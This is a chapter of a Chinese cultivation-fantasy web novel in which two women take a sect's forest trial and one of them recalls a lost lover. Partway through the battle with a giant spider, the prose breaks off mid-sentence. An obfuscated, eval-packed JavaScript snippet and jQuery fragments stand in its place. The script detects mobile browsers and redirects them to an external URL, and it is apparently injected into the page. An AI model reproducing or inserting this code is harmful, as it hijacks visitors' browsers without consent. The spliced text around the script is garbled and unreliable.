已近日暮。
过了山门,白玉筑成的阶梯向前延伸,一路上霞光万道,金碧灿然。
正殿前的凌光台上,准备参加试炼的人聚在一起。
柏晴和卿霓将寻名帖贴在右臂。
只见刚接触到身体,寻名帖正中心便燃起点点火星,随后渐渐向外扩张,直到整张纸帖化为金黄碎烬,飘散在凌山的寒风中。
“这寻名帖确实厉害,怎么分得清何时起效?刚才拿在手上的时候怎么就没消失……”卿霓感叹道,转头去看柏晴。
“晴姐姐,你怎么了?”
自从到达山脚下时,卿霓明显察觉柏晴的情绪有些不对劲。她还从没见柏晴如此心绪不宁过。
“……没什么。”
抬起头,柏晴闭上眼,深吸了口气,仿佛闻到凌山那熟悉的雪寒香。再睁眼时,她又平静下来。
凌光台上杂语纷纷,众人讨论着自己做的准备以及对试炼的期望。
忽然,一阵缥缈的铃声响起,回荡缠绵。众人止住交谈,见正殿大门缓缓打开,一位凌山弟子走上前来。
是祁符。
他展开手中的卷轴,俯视着凌光台上的众人,开始讲述试炼相关事项。
柏晴望着祁符,朦朦胧胧地,并未去认真听他在讲些什么。
反正她对那套文书早已倒背如流。
当年大师兄花遇明负责主持入门试炼,祁符因为在旭长老那里闯了祸,慌忙逃窜之时,误撞了净声铃。
那铃声悠悠晃晃,延绵不绝。花遇明正宣读文书,声音却被那铃声所掩盖。
那时,她和许清灼正在西侧,见凌光台上的众人茫然无措,一头雾水,再看殿前的花遇明,他额上已是青筋暴起,却仍在铃声中坚持无声的宣讲。
身旁的许清灼噗地一声没憋住笑,路暖白便轻轻朝他的腰一捏,想要让他就此打住。没想到他笑得更厉害,身子直接朝她撞过来,二人都差点没站住脚。后来宣讲会结束,两人都被烛长老罚托着剑跪两个时辰。
“晴姐姐?”
卿霓伸手在柏晴眼前晃了晃,柏晴这才回过神,见正殿前的人已离去,凌光台上的其他人都跃跃欲试。
“晴姐姐到底怎么了?身体不舒服吗?”卿霓很是担心,忧虑地皱起眉。
“没有,只是方才的宣讲太长,我有些困了。”她朝卿霓笑了笑。
“走吧,去后山。”
凌山入门试炼的内容,是在后山的缉鬼林度过三天。这三天内,可以在林中遇见凌山派门人提前布下的寒守。当主动攻击寒守时,才会得到寒守的回击,此时再将寒守斩杀,身上的寻名帖便会记上一分。
参加试炼的分数前十名的人,就能够加入凌山派。
但其实,寻名帖的功用不只是记录累计的分数。它还能直接查验人的先天身体条件和精神特质,识别出天生骨骼坚硬、经脉通畅,或者意志极其坚定执着于习武之人。
因此,就算一些人分数并没有进入前十名,但从寻名帖可判断出其天赋异禀大有前途,也能够通过试炼。
“所以,姐姐是说,从寻名帖可判断出来的有天赋的人,可以直接在林子里躺上三天三夜,什么都不做,也能够通过试炼?”
卿霓抬眼,似乎有些不解。
“并不是。蔑视武学之路,投机取巧之徒,是得不到寻名帖的青睐的。”
话语间,二人已踏入缉鬼林。
天色渐暗,林间萦绕着幽冷雾气,贴上皮肤,如鬼魅阴随,霎时令卿霓起了一身鸡皮疙瘩。
拨开草丛,卿霓眼见一只巴掌大的红蜘蛛正趴在地上,惊得后撤半步,随后才看见那蜘蛛的背上隐隐约约写着一个“守”字。
柏晴见状走到她身边,看见那地上的蜘蛛。
“这就是寒守了。”
她话音刚落,身旁的卿霓唰地抽出剑,一跃而起砍向那蜘蛛,电光火石间,就令其四分五裂。
柏晴一脸赞许,心里道:不愧是我的好徒儿。
卿霓还没来得及高兴,只见那地上的蜘蛛碎片渐渐融化,化作一摊猩红液体,缓缓聚拢、膨胀……
卿霓瞪大双眼,见那团红色越来越大,越来越大……她目随着眼前的变化,慢慢抬起头,猛地瞪大双眼——那团红色已变幻成一只巨型红色蜘蛛。
卿霓望着头顶那八只泛着莹莹绿光的眼睛,艰难地咽下口水。
柏晴拍拍她的肩,仍一副云淡风轻的神色。
“你能行,这家伙根本不是你的对手。”她鼓励道。
*
月色清寒,沉羽涯边,香炉升起袅袅云气。
那雪寒香的气味恬淡寂美,却不疏离,令人心里升起一股暖意。
一人正坐于琴前。琴声冷涩,似有难隐之愁绪。
寒风绕过青丝,炉烟忽颤。
祁符脚步匆匆,神情凝重。他在亭子前停下,抱拳行礼,向着亭中抚琴之人的背影道。
“掌门。”
既怕惊扰了掌门,又实在有事要报,祁符的声音微弱中带着为难。
琴声暂止。隔了半晌,那亭中之人幽幽开口,语中带着拒人于千里的疏离。
“何事。”
祁符低下头,并未放下抱拳的手。
“今日,诸弟子照常巡视山下密林,怎知竟见三个夜霖恶贼闯入林中,当下便起了冲突……”
感受到渐渐变得凝重的气场,祁符将头埋得更低,额边已渗出冷汗,但仍接着说下去。
“……怎料那三个夜霖恶贼极其狡猾奸诈,竟一时阻碍了众弟子的视线,脱身逃走。弟子带领众人寻遍了密林,仍未寻到。”
祁符神色紧张,抱紧拳,不再出声,等待亭中的人回话。
“……知道了。此事我会和众长老商议。”
听他这么说,祁符心里的一块大石头落了地,缓缓放下手,抬起头,望着掌门的身影。
黑羽外袍,萧瑟孤影。他与他之间,如同隔了千山万水,前世此生,光是望着,就几近被那寒冽气息压迫摧毁。
有时,他会觉得是自己记忆混乱,把掌门和昔日里的许师兄混淆了。
祁符止住思绪,道声弟子告退,转身离去。
*
“就是这样,你看,你能做到。”
柏晴对坐在地上气喘吁吁的卿霓说,赞美之情溢于言表。
卿霓仍握着剑,而在她身前,巨型蜘蛛已经化作了团团乌黑肉块
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093325|195534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,冒着淡淡灰烟。
“晴姐姐,我有些饿了……”刚说完,卿霓的肚子就咕噜一声,很是配合。
柏晴把手抬起放在下巴上,思考片刻,转头对卿霓很认真地说。
“这个寒守味道不好。我带你到另一侧去,那边的野猪味道不错。”
卿霓刚想说好,突然回过神来,惊愕地望着柏晴。
“就吃这种怪物吗?”
柏晴点点头。“试炼中途不提供食物。要么自己忍,要么自己想办法找东西吃。”
刚想再抱怨几句,卿霓的肚子又发出一声长啸。她只好不情愿地站起身,拍打身上沾染的尘土。忽然想起了什么,想抬头问柏晴,又慌忙意识到,柏晴不能透露关于从前身份的事情。
柏晴已猜出她心里的犹豫,错开她的目光,移步向前,淡淡地回应。
“我去年外出时,偶然听到旁人正在讨论凌山派的入门试炼,便凑近听了一会。你不是总念叨要参加吗?我也算是替你打听打听。”
在原地站着愣了一会,卿霓还是几步跟上她的步伐。二人向着缉鬼林的另一侧走去。
*
静谧的缉鬼林中,在人迹罕至的密林深处,却亮着一堆篝火。
卿霓从柏晴的手里接过烤好的野猪肉,闻到香气,顿时急得恨不得立马咬下口,但因为太烫,只能呼哧呼哧地吹着。
柏晴却转过头,向一旁的林中望去。
夜幕深沉,远处的景象已没入黑暗。她却仍努力朝那方向眺望,像是在寻找什么东西。
“霓儿,我去再捡些柴火。”
话毕,柏晴站起身,离开篝火。
卿霓正沉浸在美味中,随便应了一声好,仍专心致志地品尝着手中的食物。
柏晴的步子有些沉重。她尽力压下心底的伤痛,凭着记忆,穿过林间的雾气。
远离了篝火,她在一片漆黑中行进了许久。
幽幽的月光洒落,清透的薄雾时疏时迷。逐渐习惯了月光,眼前的景象慢慢浮现。
终于,她停下脚步。
抬起头,借着朦胧月光看清眼前的景象,她忽地红了眼眶。
眼前的大树枝繁叶茂,每一根枝芽上,都系着无数鲜红布条。团团火红连绵不断,直烧到云天,像是要触碰到月亮,把它烧碎,吞没,再将漫漫长夜化为白昼。
两道热泪缓缓落下。柏晴紧咬着嘴唇,强力忍住心下的翻涌。
他真的还活着。
当年,他们也学着在树上系红。
因为树枝太高,许清灼本来准备跃到树枝上,蹲下身来系,却被路暖白一把拉住。
她提议,由她来系。
但是树枝太高了,她够不着。于是她转过头,把许清灼拉过来,附在他耳边,让他把自己抱起来。
眼见着眼前的人从耳朵到脖颈红得一塌糊涂,她在他脸上轻轻落下一吻,随后捂着嘴笑话他,哪知许清灼伸手一把环住她的腰举起来,惊得路暖白叫出声来。
这些年,原来他仍念着这里,念着她。
这棵树就是最好的证明。
仍沉浸在回忆中,柏晴抬手擦干泪水,并未察觉到,身后林中,一个人影正静静地观望着。